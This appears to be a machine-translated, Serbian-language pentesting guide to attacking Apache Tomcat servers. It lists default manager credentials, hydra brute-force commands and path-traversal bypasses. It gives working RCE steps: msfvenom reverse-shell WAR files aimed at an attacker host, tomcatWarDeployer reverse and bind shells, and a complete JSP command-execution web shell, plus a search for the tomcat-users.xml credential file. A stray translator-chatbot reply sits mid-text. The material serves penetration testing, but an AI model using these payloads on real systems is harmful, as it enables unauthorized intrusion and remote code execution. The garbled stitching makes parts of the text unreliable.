Tomcat

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Discovery

• Obično radi na portu 8080

• Uobičajena greška Tomcat-a:

Enumeration

Version Identification

Da biste pronašli verziju Apache Tomcat-a, može se izvršiti jednostavna komanda:

curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat

Ovo će pretražiti termin "Tomcat" na stranici indeksa dokumentacije, otkrivajući verziju u naslovnom tagu HTML odgovora.

Lokacija menadžerskih fajlova

Identifikacija tačnih lokacija /manager i /host-manager direktorijuma je ključna jer njihova imena mogu biti izmenjena. Preporučuje se brute-force pretraga za lociranje ovih stranica.

Enumeracija korisničkih imena

Za Tomcat verzije starije od 6, moguće je enumerisati korisnička imena putem:

msf> use auxiliary/scanner/http/tomcat_enum

Podrazumevajući Akreditivi

Direktorijum /manager/html je posebno osetljiv jer omogućava upload i implementaciju WAR fajlova, što može dovesti do izvršavanja koda. Ovaj direktorijum je zaštićen osnovnom HTTP autentifikacijom, a uobičajeni akreditivi su:

• admin:admin

• tomcat:tomcat

• admin:

• admin:s3cr3t

• tomcat:s3cr3t

• admin:tomcat

Ovi akreditivi se mogu testirati koristeći:

msf> use auxiliary/scanner/http/tomcat_mgr_login

Još jedan značajan direktorijum je /manager/status, koji prikazuje verziju Tomcat-a i operativnog sistema, pomažući u identifikaciji ranjivosti.

Brute Force Attack

Da bi se pokušao brute force napad na direktorijum menadžera, može se koristiti:

hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html

Along with setting various parameters in Metasploit to target a specific host.

Common Vulnerabilities

Password Backtrace Disclosure

Pristupanje /auth.jsp može otkriti lozinku u backtrace-u pod srećnim okolnostima.

Double URL Encoding

CVE-2007-1860 ranjivost u mod_jk omogućava dvostruko URL kodiranje putanje, omogućavajući neovlašćen pristup upravljačkom interfejsu putem posebno kreirane URL adrese.

Da biste pristupili upravljačkom web-u Tomcat-a, idite na: pathTomcat/%252E%252E/manager/html

/examples

Apache Tomcat verzije 4.x do 7.x uključuju primer skripti koje su podložne otkrivanju informacija i napadima skriptovanja između sajtova (XSS). Ove skripte, koje su sveobuhvatno navedene, treba proveriti na neovlašćen pristup i potencijalnu eksploataciju. Pronađite više informacija ovde

• /examples/jsp/num/numguess.jsp

• /examples/jsp/dates/date.jsp

• /examples/jsp/snp/snoop.jsp

• /examples/jsp/error/error.html

• /examples/jsp/sessions/carts.html

• /examples/jsp/checkbox/check.html

• /examples/jsp/colors/colors.html

• /examples/jsp/cal/login.html

• /examples/jsp/include/include.jsp

• /examples/jsp/forward/forward.jsp

• /examples/jsp/plugin/plugin.jsp

• /examples/jsp/jsptoserv/jsptoservlet.jsp

• /examples/jsp/simpletag/foo.jsp

• /examples/jsp/mail/sendmail.jsp

• /examples/servlet/HelloWorldExample

• /examples/servlet/RequestInfoExample

• /examples/servlet/RequestHeaderExample

• /examples/servlet/RequestParamExample

• /examples/servlet/CookieExample

• /examples/servlet/JndiServlet

• /examples/servlet/SessionExample

• /tomcat-docs/appdev/sample/web/hello.jsp

Path Traversal Exploit

U nekim ranjivim konfiguracijama Tomcat-a možete dobiti pristup zaštićenim direktorijumima u Tomcat-u koristeći putanju: /..;/

Dakle, na primer, možda ćete moći da pristupite Tomcat menadžeru stranici pristupom: www.vulnerable.com/lalala/..;/manager/html

Drugi način da zaobiđete zaštićene putanje koristeći ovu trik je pristupiti http://www.vulnerable.com/;param=value/manager/html

RCE

Na kraju, ako imate pristup Tomcat Web Application Manager-u, možete otpremiti i implementirati .war datoteku (izvršiti kod).

Limitations

Možete implementirati WAR samo ako imate dovoljno privilegija (uloge: admin, manager i manager-script). Ti detalji se obično nalaze u tomcat-users.xml definisanom u /usr/share/tomcat9/etc/tomcat-users.xml (varira između verzija) (vidi POST section).

# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed

# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"

# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"

Metasploit

use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit

MSFVenom Reverse Shell

1. Kreirajte war za implementaciju:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LPORT> -f war -o revshell.war

1. Učitajte revshell.war datoteku i pristupite joj (/revshell/):

Bind i reverse shell sa tomcatWarDeployer.py

U nekim scenarijima ovo ne funkcioniše (na primer, stare verzije sun)

Preuzmi

git clone https://github.com/mgeeky/tomcatWarDeployer.git

Obrnuta ljuska

./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/

Bind shell

./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/

Korišćenje Culsterd

clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows

Ručna metoda - Web shell

Kreirajte index.jsp sa ovim sadržajem:

<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
}  catch(IOException e) {   e.printStackTrace();   }
}
%>
<pre><%=output %></pre>

mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it

Možete takođe instalirati ovo (omogućava upload, download i izvršavanje komandi): http://vonloesch.de/filebrowser.html

Ručna metoda 2

Dobijte JSP web shell kao što je ovaj i kreirajte WAR datoteku:

wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp

POST

Ime datoteke sa Tomcat kredencijalima je tomcat-users.xml i ova datoteka označava ulogu korisnika unutar tomcat-a.

find / -name tomcat-users.xml 2>/dev/null

Sure! Please provide the text you would like me to translate.

[...]
<!--
By default, no user is included in the "manager-gui" role required
to operate the "/manager/html" web application.  If you wish to use this app,
you must define such a user - the username and password are arbitrary.

Built-in Tomcat manager roles:
- manager-gui    - allows access to the HTML GUI and the status pages
- manager-script - allows access to the HTTP API and the status pages
- manager-jmx    - allows access to the JMX proxy and the status pages
- manager-status - allows access to the status pages only
-->
[...]
<role rolename="manager-gui" />
<user username="tomcat" password="tomcat" roles="manager-gui" />
<role rolename="admin-gui" />
<user username="admin" password="admin" roles="manager-gui,admin-gui" />

Ostali alati za skeniranje tomcat-a

• https://github.com/p0dalirius/ApacheTomcatScanner

Reference

• https://github.com/simran-sankhala/Pentest-Tomcat

• https://hackertarget.com/sample/nexpose-metasploitable-test.pdf

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